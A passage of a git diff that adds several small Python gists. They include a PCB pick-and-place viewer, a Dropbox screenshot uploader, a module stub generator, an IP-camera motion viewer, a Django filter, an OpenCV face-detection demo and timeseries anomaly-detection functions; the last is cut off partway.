+#       pcb -x png --outfile <board>-back.png --dpi 600 --use-alpha \
+#           --photo-mode --photo-flip-x <board>.pcb
+#
+#  Get width/height of PCB with:
+#       grep ^PCB <board>.pcb
+#
+#    PCB["" 181.4000mm 98.0000mm]
+#
+#  NB: Units in xy file should be same as units used to specify size. Omit
+#  suffix in command line arguments.
+#
+#  Run with:
+#
+#  ./pnp --xy <board>.xy --bom <board>.bom --front <board>-front.png \
+#       <board>-back.png -w 181.4 -h 98
+#
+#  There are three windows:
+#       - Overview
+#         Provides overview of board with highlighted portion showing location
+#         of zoomed window.
+#
+#       - Zoomed window
+#         Provides zoomed in view of component location, center is highlighted.
+#         Mouse wheel changes zoom level. Zoomed window always centers on
+#         highlighted part in parts list
+#
+#       - Parts list
+#         Shows currently centered part. Other parts can be selected and
+#         centered.
+#
+#  - Double clicking on the zoomed window or overview window will jump to the
+#    part which was closest to the click point.
+#
+#  - Hitting tab on any window will swap sides.
+#
+#  - Hitting space on any window will go to the next part.
+#
+#  - Hitting backspace on any window will go to the previous part.
+import csv
+import sys
+import operator
+import pygtk
+pygtk.require('2.0')
+import gtk
+import gobject
+import cairo
+import math
+import argparse
+
+parser = argparse.ArgumentParser(conflict_handler='resolve')
+parser.add_argument('-p', '--xy', type=argparse.FileType('rb'), required=True,
+    help='PCB xy file from bom output')
+parser.add_argument('-b', '--bom', type=argparse.FileType('rb'), required=True,
+    help='bom2 output from gnetlist')
+parser.add_argument('-w', '--width', type=float, required=True,
+    help='Physical width of PCB')
+parser.add_argument('-h', '--height', type=float, required=True,
+    help='Physical height of PCB')
+parser.add_argument('-F', '--front', type=str, required=True,
+    help='Image of front of PCB')
+parser.add_argument('-B', '--back', type=str, required=True,
+    help='Image of back of PCB (xy flip)')
+parser.add_argument('-s', '--sort', type=str, required=False,
+    help='Column sort order for BOM')
+
+args = parser.parse_args()
+
+xy = dict()
+xy_csv = csv.DictReader(args.xy, fieldnames=["refdes", "footprint", "value", "x", "y", "angle", "side"])
+for row in xy_csv:
+    xy[row["refdes"]] = row
+
+bom_csv = csv.DictReader(args.bom, delimiter=':')
+if args.sort:
+    bom_csv = sorted(bom_csv, key=operator.itemgetter(*args.sort.split(',')))
+else:
+    bom_csv = list(bom_csv)
+bom = dict()
+
+def process_side(bom_csv, side):
+    for row in bom_csv:
+        if "DNP" in row and row["DNP"] == "1":
+            continue
+        refdes = row["refdes"].split(',')
+        first = True
+        for i in refdes:
+            if i not in xy:
+                continue
+            bom[i] = row
+            curr = xy[i]
+            if curr["side"] != side:
+                continue
+            if first:
+                print side,
+                for key, val in row.iteritems():
+                    if key != "refdes":
+                        print val,
+                print
+                print "------------------------------------------------"
+                first = False
+            print i + '\t', curr["x"] + ',', curr["y"]
+        if not first:
+            print
+
+process_side(bom_csv, "top")
+process_side(bom_csv, "bottom")
+
+class ImagesExample:
+    def close_application(self, widget, event, data=None):
+        gtk.main_quit()
+        return False
+
+    def zoom_do_expose(self, widget, event):
+        cr = widget.window.cairo_create()
+        cr.set_operator(cairo.OPERATOR_SOURCE)
+        cr.set_source_rgb(1, 1, 1)
+        cr.paint()
+
+        if self.side == "top":
+            pixbuf = self.front
+            center_x = self.center[0]
+        else:
+            pixbuf = self.back
+            center_x = self.size_mm[0] - self.center[0]
+
+        window_w, window_h = widget.window.get_size()
+        scale_w = int(self.zoom_scale * pixbuf.get_width())
+        scale_h = int(self.zoom_scale * pixbuf.get_height())
+
+        trans_x = -self.zoom_scale * center_x * pixbuf.get_width() / self.size_mm[0] + window_w / 2
+        trans_y = -self.zoom_scale * self.center[1] * pixbuf.get_height() / self.size_mm[1] + window_h / 2
+
+        cr.set_source_pixbuf(pixbuf.scale_simple(scale_w, scale_h, gtk.gdk.INTERP_BILINEAR), trans_x, trans_y)
+        cr.paint_with_alpha(0.4)
+
+        cr.arc(window_w / 2, window_h / 2, float(min(window_h, window_w)) / 10.0, 0, 2 * math.pi)
+        cr.fill()
+
+    def zoom_size_allocate(self, widget, event):
+        if self.side == "top":
+            pixbuf = self.front
+        else:
+            pixbuf = self.back
+        window_w, window_h = widget.get_size()
+        self.zoom_scale = (float(window_h) / self.show_height) * (self.size_mm[1] / pixbuf.get_height())
+        self.overview_window.queue_draw()
+
+    def zoom_scroll_event(self, widget, event):
+        if self.side == "top":
+            pixbuf = self.front
+        else:
+            pixbuf = self.back
+        if event.direction == gtk.gdk.SCROLL_UP:
+            self.show_height *= 0.9
+        else:
+            self.show_height *= 1.1
+        window_w, window_h = self.zoom_window.get_size()
+        self.zoom_scale = (float(window_h) / self.show_height) * (self.size_mm[1] / pixbuf.get_height())
+        self.zoom_window.queue_draw()
+        self.overview_window.queue_draw()
+
+    def highlight_component(self, x, y):
+        min_dist = float("inf")
+        closest = None
+        if self.side != "top":
+            x = self.size_mm[0] - x
+        for refdes, row in xy.iteritems():
+            if refdes not in bom:
+                continue
+            if row["side"] != self.side:
+                continue
+            dx = x - float(row["x"])
+            dy = y - (self.size_mm[1] - float(row["y"]))
+            dist = dx * dx + dy * dy
+            if dist < min_dist:
+                min_dist = dist
+                closest = refdes
+        if closest:
+            row = self.model.get_iter_first()
+            while row is not None:
+                if self.model[row][0] == closest:
+                    self.view.set_cursor(self.model.get_path(row))
+                    break
+                row = self.model.iter_next(row)
+
+    def zoom_click(self, widget, event):
+        if event.type != gtk.gdk._2BUTTON_PRESS:
+            return
+        if self.side == "top":
+            center_x = self.center[0]
+        else:
+            center_x = self.size_mm[0] - self.center[0]
+        window_w, window_h = widget.get_size()
+        x = event.x - window_w / 2.0
+        y = event.y - window_h / 2.0
+        x = center_x + x * self.show_height / window_h
+        y = self.center[1] + y * self.show_height / window_h
+        self.highlight_component(x, y)
+
+    def overview_click(self, widget, event):
+        if event.type != gtk.gdk._2BUTTON_PRESS:
+            return
+        window_w, window_h = widget.get_size()
+        x = event.x - window_w / 2.0
+        y = event.y - window_h / 2.0
+        x = self.size_mm[0] / 2.0 + x / self.overview_mm_scale
+        y = self.size_mm[1] / 2.0 + y / self.overview_mm_scale
+        self.highlight_component(x, y)        
+
+    def overview_size_allocate(self, widget, event):
+        if self.side == "top":
+            pixbuf = self.front
+        else:
+            pixbuf = self.back
+        window_w, window_h = widget.get_size()
+        self.overview_pix_scale = min(float(window_w) / pixbuf.get_width(), float(window_h) / pixbuf.get_height())
+        if float(window_w) / pixbuf.get_width() < float(window_h) / pixbuf.get_height():
+            self.overview_mm_scale = float(window_w) / self.size_mm[0]
+        else:
+            self.overview_mm_scale = float(window_h) / self.size_mm[1]
+
+    def overview_do_expose(self, widget, event):
+        cr = widget.window.cairo_create()
+        cr.set_operator(cairo.OPERATOR_SOURCE)
+        cr.set_source_rgb(1, 1, 1)
+        cr.paint()
+
+        if self.side == "top":
+            pixbuf = self.front
+            center_x = self.center[0]
+        else:
+            pixbuf = self.back
+            center_x = self.size_mm[0] - self.center[0]
+
+        window_w, window_h = widget.window.get_size()
+        scale_w = int(self.overview_pix_scale * pixbuf.get_width())
+        scale_h = int(self.overview_pix_scale * pixbuf.get_height())
+
+        trans_x = (window_w - scale_w) / 2
+        trans_y = (window_h - scale_h) / 2
+
+        cr.set_source_pixbuf(pixbuf.scale_simple(scale_w, scale_h, gtk.gdk.INTERP_BILINEAR), trans_x, trans_y)
+        cr.paint_with_alpha(0.5)
+
+        zoom_window_w, zoom_window_h = self.zoom_window.get_size()
+        show_width = (float(zoom_window_w) / self.zoom_scale) * (self.size_mm[0] / pixbuf.get_width())
+        start_x, start_y = center_x - show_width / 2, self.center[1] - self.show_height / 2
+        if float(window_w) / pixbuf.get_width() < float(window_h) / pixbuf.get_height():
+            scale = float(window_w) / self.size_mm[0]
+        else:
+            scale = float(window_h) / self.size_mm[1]
+
+        cr.rectangle(self.overview_mm_scale * start_x + trans_x,
+                     self.overview_mm_scale * start_y + trans_y,
+                     self.overview_mm_scale * show_width,
+                     self.overview_mm_scale * self.show_height)
+        cr.fill()
+
+    def view_cursor_changed(self, view):
+        path, focus = view.get_cursor()
+        row = self.model[self.model.get_iter(path)]
+        refdes = row[0]
+        self.center = row[-2], row[-1]
+        self.side = row[-3]
+        self.zoom_window.set_title(refdes)
+        self.overview_window.set_title(refdes)
+        self.zoom_window.queue_draw()
+        self.overview_window.queue_draw()
+
+    def key_release(self, widget, event):
+        keyname = gtk.gdk.keyval_name(event.keyval)
+        if keyname == "Tab":
+            self.side = "top" if self.side == "bottom" else "bottom"
+            self.overview_size_allocate(self.overview_window, None)
+            self.zoom_size_allocate(self.zoom_window, None)
+            self.highlight_component(*self.center)
+        elif keyname == "space":
+            path, focus = self.view.get_cursor()
+            path = (path[0] + 1,)
+            try:
+                if self.model.get_iter(path) != None:
+                    self.view.set_cursor(path)
+            except:
+                pass
+        elif keyname == "BackSpace":
+            path, focus = self.view.get_cursor()
+            path = (path[0] - 1,)
+            try:
+                if path[0] >= 0 and self.model.get_iter(path) != None:
+                    self.view.set_cursor(path)
+            except:
+                pass
+
+    def __init__(self):
+        self.front = gtk.gdk.pixbuf_new_from_file(args.front)
+        self.back = gtk.gdk.pixbuf_new_from_file(args.back)
+        self.size_mm = (args.width, args.height)
+        self.center = (args.width / 2, args.height / 2)
+        self.show_height = args.height / 4
+        self.side = "top"
+
+        overview_window = gtk.Window(gtk.WINDOW_TOPLEVEL)
+        overview_window.connect("delete_event", self.close_application)
+        overview_window.connect("size_allocate", self.overview_size_allocate)
+        overview_window.add_events(gtk.gdk.BUTTON_PRESS_MASK)
+        overview_window.connect("button_press_event", self.overview_click)
+        overview_window.connect("key_release_event", self.key_release)
+        overview_display = gtk.DrawingArea()
+        overview_display.connect("expose_event", self.overview_do_expose)
+        overview_window.add(overview_display)
+        overview_window.show_all()
+        self.overview_window = overview_window
+
+        zoom_window = gtk.Window(gtk.WINDOW_TOPLEVEL)
+        zoom_window.connect("delete_event", self.close_application)
+        zoom_window.connect("size_allocate", self.zoom_size_allocate)
+        zoom_window.connect("button_press_event", self.zoom_click)
+        zoom_window.connect("key_release_event", self.key_release)
+        zoom_window.add_events(gtk.gdk.SCROLL_MASK | gtk.gdk.BUTTON_PRESS_MASK)
+        zoom_window.connect("scroll_event", self.zoom_scroll_event)
+        zoom_display = gtk.DrawingArea()
+        zoom_display.connect("expose_event", self.zoom_do_expose)
+        zoom_window.add(zoom_display)
+        zoom_window.show_all()
+        self.zoom_window = zoom_window
+
+        columns = bom.values()[0].keys()
+        columns.remove("refdes")
+        columns.remove("qty")
+        if "DNP" in columns:
+            columns.remove("DNP")
+        columns.insert(0, "refdes")
+        columns.append("side")
+        store_args = []
+        for i in columns:
+            store_args.append(str)
+        store_args.append(float)
+        store_args.append(float)
+        store = gtk.ListStore(*store_args)
+ 
+        cell_window = gtk.Window(gtk.WINDOW_TOPLEVEL)
+        cell_window.connect("delete_event", self.close_application)
+        cell_window.connect("key_release_event", self.key_release)
+        scroll = gtk.ScrolledWindow()
+        scroll.set_policy(gtk.POLICY_AUTOMATIC, gtk.POLICY_AUTOMATIC)
+        cell_window.add(scroll)
+        view = gtk.TreeView(store)
+        rend = gtk.CellRendererText()
+        for n, i in enumerate(columns):
+            column = gtk.TreeViewColumn(i, rend, text=n)
+            view.append_column(column)
+        view.set_headers_visible(True)
+        view.set_rules_hint(True)
+
+        def fill_side(side):
+            for row in bom_csv:
+                if "DNP" in row and row["DNP"] == "1":
+                    continue
+                refdes = row["refdes"].split(',')
+                for i in refdes:
+                    if i not in xy:
+                        continue
+                    curr = xy[i]
+                    if curr["side"] != side:
+                        continue
+                    y = self.size_mm[1] - float(curr["y"])
+                    new_row = [i]
+                    for key, val in row.iteritems():
+                        if key != "refdes" and key in columns:
+                            new_row.append(val)
+                    new_row.extend([curr["side"], float(curr["x"]), y])
+                    store.append(new_row)
+        fill_side("top")
+        fill_side("bottom")
+        self.view = view
+        self.model = store
+        view.connect("cursor_changed", self.view_cursor_changed)
+        cell_window.resize(500, 800)
+        scroll.add(view)
+        cell_window.show_all()
+        self.cell_window = cell_window
+
+
+def main():
+    gtk.main()
+    return 0
+
+if __name__ == "__main__":
+    ImagesExample()
+    main()
\ No newline at end of file
diff --git a/hard-gists/3083085/._snippet.py b/hard-gists/3083085/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3083085/._snippet.py differ
diff --git a/hard-gists/3083085/snippet.py b/hard-gists/3083085/snippet.py
new file mode 100644
index 00000000..ea3323c8
--- /dev/null
+++ b/hard-gists/3083085/snippet.py
@@ -0,0 +1,84 @@
+#!/usr/bin/python
+import gtk
+import simplejson
+import urllib2
+import subprocess
+import datetime
+import string
+import random
+import time
+
+# !!! DEPENDS ON NOTIFY OSD BINARIES FOR NOTIFICATIONS !!!
+# sudo apt-get install libnotify-bin
+
+############################################
+#    CONFIGURATION                         #
+############################################
+
+DROPBOX_USER_ID = None # REPLACE WITH YOUR DROPBOX PUBLIC ID
+DROPBOX_PUBLIC_PATH = "/home/username/Dropbox/Public/"  # CHANGE USERNAME - ensure paths end in /
+WAIT_FOR_DROPBOX = True  # don't exit script and return URL until upload is complete
+SUB_PATH = ""  # used if you don't want screengrabs in root public dir, make sure this path exists
+
+# URL SHORTENER API SETTINGS
+USE_URL_SHORTENER = True
+API_PATH = "http://is.gd/create.php?format=json&url=$longurl"  # $longurl will be replaced with image URL
+API_RESPONSE_TYPE = "json"  # or "plain"
+JSON_SHORTURL_KEY = "shorturl"  # if using "json" above provide the keyname of the short response
+
+############################################
+#    END CONFIGURATION                     #
+############################################
+
+
+subprocess.call(["gnome-screenshot", "-c", "-a"])
+
+clipboard = gtk.Clipboard()
+content = clipboard.wait_for_image()
+
+filename = "%s_%s.png" % (
+	datetime.datetime.now().strftime("%Y-%m-%d_%H%M%S"),
+	''.join(random.choice(string.ascii_uppercase) for x in range(5))
+)
+
+content.save(
+	"%s%s%s" % (
+		DROPBOX_PUBLIC_PATH,
+		SUB_PATH,
+		filename),
+	"png"
+)
+
+if USE_URL_SHORTENER:
+	api_url = string.Template(API_PATH).substitute(
+		longurl="http://dl.dropbox.com/u/%d/%s/%s" % (
+			DROPBOX_USER_ID,
+			SUB_PATH,
+			filename
+		)
+	)
+
+	response = urllib2.urlopen(api_url)
+
+	if API_RESPONSE_TYPE == "json":
+		res_dict = simplejson.loads(response.read())
+		shorturl = res_dict[JSON_SHORTURL_KEY]
+
+	elif API_RESPONSE_TYPE == "plain":
+		shorturl = response.read()
+else:
+	shorturl = "http://dl.dropbox.com/u/%d/%s/%s" % (
+		DROPBOX_USER_ID,
+		SUB_PATH,
+		filename
+	)
+
+clipboard.set_text(shorturl)
+clipboard.store()
+
+if WAIT_FOR_DROPBOX:
+	subprocess.call(["notify-send", "Screengrab is being uploaded...", "--hint=int:transient:1"])
+	while subprocess.check_output(['dropbox', 'status'])[:4] != "Idle":
+		time.sleep(2)
+
+subprocess.call(["notify-send", "Screengrab posted. URL copied to clipboard", shorturl, "--hint=int:transient:1"])
diff --git a/hard-gists/30839ae0280a5077b8669757e5efa75d/._snippet.py b/hard-gists/30839ae0280a5077b8669757e5efa75d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/30839ae0280a5077b8669757e5efa75d/._snippet.py differ
diff --git a/hard-gists/30839ae0280a5077b8669757e5efa75d/snippet.py b/hard-gists/30839ae0280a5077b8669757e5efa75d/snippet.py
new file mode 100644
index 00000000..187fbf6a
--- /dev/null
+++ b/hard-gists/30839ae0280a5077b8669757e5efa75d/snippet.py
@@ -0,0 +1,71 @@
+"""
+Creates python files for builtin modules in order to use them with PyCharm to get code completion and resolve all import issues
+"""
+import inspect
+import sound
+import _ui
+import _scene2
+
+def_fmt = '\n\n%sdef %s():\n%s    pass\n'
+method_fmt = '\n%sdef %s(self):\n%s    pass\n'
+cls_method_fmt = '\n%sdef %s(cls):\n%s    pass\n'
+class_fmt = '\n\n%sclass %s:%s\n'
+doc_fmt = '%s"""%s"""\n'
+
+
+def handle_attribute(name, func, indent):
+    if isinstance(func, int) or isinstance(func, float):
+        return '\n%s%s = %s\n' % (indent, name, func)
+    else:
+        return '\n%s%s = "%s"\n' % (indent, name, func)
+
+
+def get_info(modul, indentlevel=0, inclass=False):
+    _f = []
+    indent = '    ' * indentlevel
+    for name, func in inspect.getmembers(modul):
+        if callable(func):
+            if name == '__getattribute__':
+                continue
+            isfunc = 'function' in str(func)
+            if name == '__new__':
+                _f.append(cls_method_fmt % (indent, name, indent))
+            else:
+                _f.append((def_fmt if isfunc else method_fmt if inclass else class_fmt) % (indent, name, indent))
+            if not isfunc and not inclass:
+                get_info(func, indentlevel + 1, True)
+        else:
+            if inclass and name == '__doc__':  # insert docstring
+                _f.insert(0, doc_fmt % (indent, func))
+            else:
+                _f.append(handle_attribute(name, func, indent))
+    return _f
+
+
+def create_func(modul, modname, indentlevel=0, inclass=False):
+    print "processing %s" % modname
+    _f = []
+    indent = '    ' * indentlevel
+    for name, func in inspect.getmembers(modul):
+        if callable(func):
+            if name == '__getattribute__':
+                continue
+            isfunc = 'function' in str(func)
+            _f.append((def_fmt if isfunc else method_fmt if inclass else class_fmt) % (indent, name, indent))
+            if not isfunc and not inclass:
+                cls = get_info(func, indentlevel + 1, True)
+                _f += cls
+        else:
+            if name == '__doc__':  # insert docstring
+                _f.insert(0, doc_fmt % (indent, func))
+            elif name not in ['__name__', '__package__']:
+                _f.append(handle_attribute(name, func, indent))
+    open(modname, 'w').write(''.join(_f))
+    print "processed %s" % modname
+
+
+if __name__ == "__main__":
+    create_func(sound, 'sound.py')
+    create_func(_ui, '_ui.py')
+    create_func(_scene2, '_scene2.py')
+    print "done"
diff --git a/hard-gists/3089556/._snippet.py b/hard-gists/3089556/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3089556/._snippet.py differ
diff --git a/hard-gists/3089556/snippet.py b/hard-gists/3089556/snippet.py
new file mode 100644
index 00000000..fa37edf6
--- /dev/null
+++ b/hard-gists/3089556/snippet.py
@@ -0,0 +1,153 @@
+#!/usr/bin/env python
+
+import gtk, threading, datetime, urllib2, json
+import Image, ImageChops, ImageStat, StringIO
+
+CONFIG_FILE = "config.json"
+
+# config sample
+#{
+#  "sensivity": 10,
+#  "cameraurl": "http://192.168.1.100/snapshot.cgi?user=admin&pwd=123456",
+#  "commandurl": "http://192.168.1.100/decoder_control.cgi?user=admin&pwd=123456&degree=10&command=%d"
+#}
+
+class PySurCamUI(gtk.Window):
+    def __init__(self):
+        super(PySurCamUI, self).__init__()
+        
+        try:
+            self.config = json.load(open(CONFIG_FILE))
+        except:
+            raise SystemExit("%s config file was not found or parsed correctly" % CONFIG_FILE)
+            
+        # variables
+        self.dnd = False
+        self.isrunning = True
+        self.currentimage = None
+        self.previousimage= None
+        self.rms = 0
+        
+        # window decoration
+        self.set_default_size(320, 240)
+        self.set_resizable(False)
+        self.set_keep_above(True)
+        self.set_position(gtk.WIN_POS_CENTER)
+        
+        # status icon
+        self.statusicon = gtk.StatusIcon()
+        self.statusicon.set_from_stock(gtk.STOCK_MEDIA_RECORD) 
+        self.statusicon.connect("activate", self.togglevisibility)
+        self.statusicon.connect("popup-menu", self.popupmenu)
+        
+        # image view canvas
+        canvaseventbox = gtk.EventBox()
+        self.canvas = gtk.Image()
+        self.canvas.show()
+        canvaseventbox.connect("button-press-event", self.cameraclick)
+        canvaseventbox.add(self.canvas)
+        self.add(canvaseventbox)
+        
+        self.show_all()
+        
+    def cameraclick (self, event, pointer):      
+        # doubleclick handler for moving camera
+        if not pointer.type == gtk.gdk._2BUTTON_PRESS: return
+        
+        direction = None
+        
+        if pointer.x < 70: direction = 4
+        elif pointer.x > 250: direction = 6
+        elif pointer.y < 40: direction = 0
+        elif pointer.y > 200: direction = 2
+        
+        if not direction == None:
+            urllib2.urlopen(self.config['commandurl'] % direction)           
+        
+    
+    def imageprocess(self):
+        
+        while self.isrunning:
+            try:
+                self.currentframedata = urllib2.urlopen(self.config['cameraurl']).read()
+            except:
+                continue
+            
+            if not self.dnd:
+                
+                self.currentimage = Image.open(StringIO.StringIO(self.currentframedata))
+                if self.previousimage == None: self.previousimage = self.currentimage.copy()
+                framedifference = ImageStat.Stat(ImageChops.difference(self.currentimage, self.previousimage)).rms
+                self.rms = sum(framedifference)/len(framedifference)
+                self.previousimage = self.currentimage.copy()
+                self.currentimage = None              
+                
+                if self.rms > self.config['sensivity']:
+                    self.show()
+                
+            gtk.gdk.threads_enter()
+            try:
+                if self.get_visible():
+                    self.set_title(str(datetime.datetime.now()))
+                    framedataloader=gtk.gdk.PixbufLoader()
+                    framedataloader.write(self.currentframedata)
+                    framedataloader.close()
+                    self.canvas.set_from_pixbuf(framedataloader.get_pixbuf())
+            finally:
+                gtk.gdk.threads_leave()
+                    
+    def popupmenu(self, icon, button, time):
+        menu = gtk.Menu()
+        
+        shlabel = "Hide" if self.get_visible() else "Show"
+        showhide = gtk.MenuItem(shlabel)
+        
+        dndmode = gtk.CheckMenuItem("DND Mode")
+        dndmode.set_active(self.dnd)
+        
+        quit = gtk.MenuItem("Quit")
+        
+        showhide.connect("activate", self.togglevisibility)
+        dndmode.connect("activate", self.dndtoggle)
+        quit.connect("activate", self.main_quit)
+        
+        menu.append(showhide)
+        menu.append(dndmode)
+        menu.append(quit)
+        
+        menu.show_all()
+        menu.popup(None, None, gtk.status_icon_position_menu, button, time, self.statusicon)
+    
+    def dndtoggle(self, event):            
+        self.dnd = True if not self.dnd else False
+    
+    def togglevisibility(self, event):
+        if self.get_visible():
+            self.hide()
+        else:
+            self.show()
+    
+    def minimizeonclose(self, window, event):
+        self.hide_on_delete()
+        return True
+
+    def main_quit(self, event):
+        self.isrunning = False
+        self.imageprocessthread = False
+        gtk.main_quit()
+            
+    def main(self):
+        # background image process and update thread
+        gtk.gdk.threads_init()
+        self.imageprocessthread = threading.Thread(target=self.imageprocess)
+        self.imageprocessthread.start()
+        
+        self.connect("destroy", self.main_quit)
+        self.connect("delete-event", self.minimizeonclose)
+        
+        gtk.gdk.threads_enter()
+        gtk.main()
+        gtk.gdk.threads_leave()
+
+UI = PySurCamUI()
+UI.main()
\ No newline at end of file
diff --git a/hard-gists/3094847/._snippet.py b/hard-gists/3094847/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3094847/._snippet.py differ
diff --git a/hard-gists/3094847/snippet.py b/hard-gists/3094847/snippet.py
new file mode 100644
index 00000000..cdfef064
--- /dev/null
+++ b/hard-gists/3094847/snippet.py
@@ -0,0 +1,7 @@
+from django import template
+
+register = template.Library()
+
+@register.filter(name='indent')
+def indent_string(val, num_spaces=4):
+    return val.replace('\n', '\n' + ' '*num_spaces)
diff --git a/hard-gists/3097851/._snippet.py b/hard-gists/3097851/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3097851/._snippet.py differ
diff --git a/hard-gists/3097851/snippet.py b/hard-gists/3097851/snippet.py
new file mode 100644
index 00000000..4f5aac81
--- /dev/null
+++ b/hard-gists/3097851/snippet.py
@@ -0,0 +1,41 @@
+#!/usr/bin/env python2
+
+"""
+OpenCV example. Show webcam image and detect face.
+"""
+
+import cv2
+
+TRAINSET = "/usr/share/OpenCV/lbpcascades/lbpcascade_frontalface.xml"
+DOWNSCALE = 4
+
+webcam = cv2.VideoCapture(0)
+cv2.namedWindow("preview")
+classifier = cv2.CascadeClassifier(TRAINSET)
+
+
+if webcam.isOpened(): # try to get the first frame
+    rval, frame = webcam.read()
+else:
+    rval = False
+
+while rval:
+
+    # detect faces and draw bounding boxes
+    minisize = (frame.shape[1]/DOWNSCALE,frame.shape[0]/DOWNSCALE)
+    miniframe = cv2.resize(frame, minisize)
+    faces = classifier.detectMultiScale(miniframe)
+    for f in faces:
+        x, y, w, h = [ v*DOWNSCALE for v in f ]
+        cv2.rectangle(frame, (x,y), (x+w,y+h), (0,0,255))
+
+    cv2.putText(frame, "Press ESC to close.", (5, 25),
+                cv2.FONT_HERSHEY_SIMPLEX, 1.0, (255,255,255))
+    cv2.imshow("preview", frame)
+
+    # get next frame
+    rval, frame = webcam.read()
+
+    key = cv2.waitKey(20)
+    if key in [27, ord('Q'), ord('q')]: # exit on ESC
+        break
diff --git a/hard-gists/309bed093f6a7084c855/._snippet.py b/hard-gists/309bed093f6a7084c855/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/309bed093f6a7084c855/._snippet.py differ
diff --git a/hard-gists/309bed093f6a7084c855/snippet.py b/hard-gists/309bed093f6a7084c855/snippet.py
new file mode 100644
index 00000000..ec183deb
--- /dev/null
+++ b/hard-gists/309bed093f6a7084c855/snippet.py
@@ -0,0 +1,303 @@
+import pandas
+import numpy as np
+import scipy
+import statsmodels.api as sm
+import os
+import sys
+import json
+import traceback
+import logging
+from time import time
+from elasticsearch import Elasticsearch
+
+
+MAX_RESOLUTION = 1000
+MAX_TOLERABLE_BOREDOM = 100
+MIN_TOLERABLE_LENGTH = 1
+REDOM_SET_SIZE = 1
+BOREDOM_SET_SIZE = 1
+FULL_DURATION = 86400
+CONSENSUS = 6
+STALE_PERIOD = 500
+ALGORITHMS = [
+    'first_hour_average',
+    'mean_subtraction_cumulation',
+    'stddev_from_average',
+    'stddev_from_moving_average',
+    'least_squares',
+    'grubbs',
+    'histogram_bins',
+    'median_absolute_deviation',
+    'ks_test',
+]
+
+logger = logging.getLogger("AnalyzerLog")
+
+"""
+This is no man's land. Do anything you want in here,
+as long as you return a boolean that determines whether the input
+timeseries is anomalous or not.
+
+To add an algorithm, define it here, and add its name to settings.ALGORITHMS.
+"""
+
+
+def tail_avg(timeseries):
+    """
+    This is a utility function used to calculate the average of the last three
+    datapoints in the series as a measure, instead of just the last datapoint.
+    It reduces noise, but it also reduces sensitivity and increases the delay
+    to detection.
+    """
+    try:
+        t = (timeseries[-1][1] + timeseries[-2][1] + timeseries[-3][1]) / 3
+        return t
+    except IndexError:
+        return timeseries[-1][1]
+
+
+def median_absolute_deviation(timeseries):
+    """
+    A timeseries is anomalous if the deviation of its latest datapoint with
+    respect to the median is X times larger than the median of deviations.
+    """
+
+    series = pandas.Series([x[1] for x in timeseries])
+    median = series.median()
+    demedianed = np.abs(series - median)
+    median_deviation = demedianed.median()
+
+    # The test statistic is infinite when the median is zero,
+    # so it becomes super sensitive. We play it safe and skip when this happens.
+    if median_deviation == 0:
+        return False
+
+    test_statistic = demedianed.iget(-1) / median_deviation
+
+    # Completely arbitary...triggers if the median deviation is
+    # 6 times bigger than the median
+    if test_statistic > 6:
+        return True
+
+
+def grubbs(timeseries):
+    """
+    A timeseries is anomalous if the Z score is greater than the Grubb's score.
+    """
+
+    series = scipy.array([x[1] for x in timeseries])
+    stdDev = scipy.std(series)
+    mean = np.mean(series)
+    tail_average = tail_avg(timeseries)
+    z_score = (tail_average - mean) / stdDev
+    len_series = len(series)
+    threshold = scipy.stats.t.isf(.05 / (2 * len_series), len_series - 2)
+    threshold_squared = threshold * threshold
+    grubbs_score = ((len_series - 1) / np.sqrt(len_series)) * np.sqrt(threshold_squared / (len_series - 2 + threshold_squared))
+
+    return z_score > grubbs_score
+
+
+def first_hour_average(timeseries):
+    """
+    Calcuate the simple average over one hour, FULL_DURATION seconds ago.
+    A timeseries is anomalous if the average of the last three datapoints
+    are outside of three standard deviations of this value.
+    """
+    last_hour_threshold = time() - (FULL_DURATION - 3600)
+    series = pandas.Series([x[1] for x in timeseries if x[0] < last_hour_threshold])
+    mean = (series).mean()
+    stdDev = (series).std()
+    t = tail_avg(timeseries)
+
+    return abs(t - mean) > 3 * stdDev
+
+
+def stddev_from_average(timeseries):
+    """
+    A timeseries is anomalous if the absolute value of the average of the latest
+    three datapoint minus the moving average is greater than three standard
+    deviations of the average. This does not exponentially weight the MA and so
+    is better for detecting anomalies with respect to the entire series.
+    """
+    series = pandas.Series([x[1] for x in timeseries])
+    mean = series.mean()
+    stdDev = series.std()
+    t = tail_avg(timeseries)
+
+    return abs(t - mean) > 3 * stdDev
+
+
+def stddev_from_moving_average(timeseries):
+    """
+    A timeseries is anomalous if the absolute value of the average of the latest
+    three datapoint minus the moving average is greater than three standard
+    deviations of the moving average. This is better for finding anomalies with
+    respect to the short term trends.
+    """
+    series = pandas.Series([x[1] for x in timeseries])
+    expAverage = pandas.stats.moments.ewma(series, com=50)
+    stdDev = pandas.stats.moments.ewmstd(series, com=50)
+
+    return abs(series.iget(-1) - expAverage.iget(-1)) > 3 * stdDev.iget(-1)
+
+
+def mean_subtraction_cumulation(timeseries):
+    """
+    A timeseries is anomalous if the value of the next datapoint in the
+    series is farther than three standard deviations out in cumulative terms
+    after subtracting the mean from each data point.
+    """
+
+    series = pandas.Series([x[1] if x[1] else 0 for x in timeseries])
+    series = series - series[0:len(series) - 1].mean()
+    stdDev = series[0:len(series) - 1].std()
+    expAverage = pandas.stats.moments.ewma(series, com=15)
+
+    return abs(series.iget(-1)) > 3 * stdDev
+
+
+def least_squares(timeseries):
+    """
+    A timeseries is anomalous if the average of the last three datapoints
+    on a projected least squares model is greater than three sigma.
+    """
+
+    x = np.array([t[0] for t in timeseries])
+    y = np.array([t[1] for t in timeseries])
+    A = np.vstack([x, np.ones(len(x))]).T
+    results = np.linalg.lstsq(A, y)
+    residual = results[1]
+    m, c = np.linalg.lstsq(A, y)[0]
+    errors = []
+    for i, value in enumerate(y):
+        projected = m * x[i] + c
+        error = value - projected
+        errors.append(error)
+
+    if len(errors) < 3:
+        return False
+
+    std_dev = scipy.std(errors)
+    t = (errors[-1] + errors[-2] + errors[-3]) / 3
+
+    return abs(t) > std_dev * 3 and round(std_dev) != 0 and round(t) != 0
+
+
+def histogram_bins(timeseries):
+    """
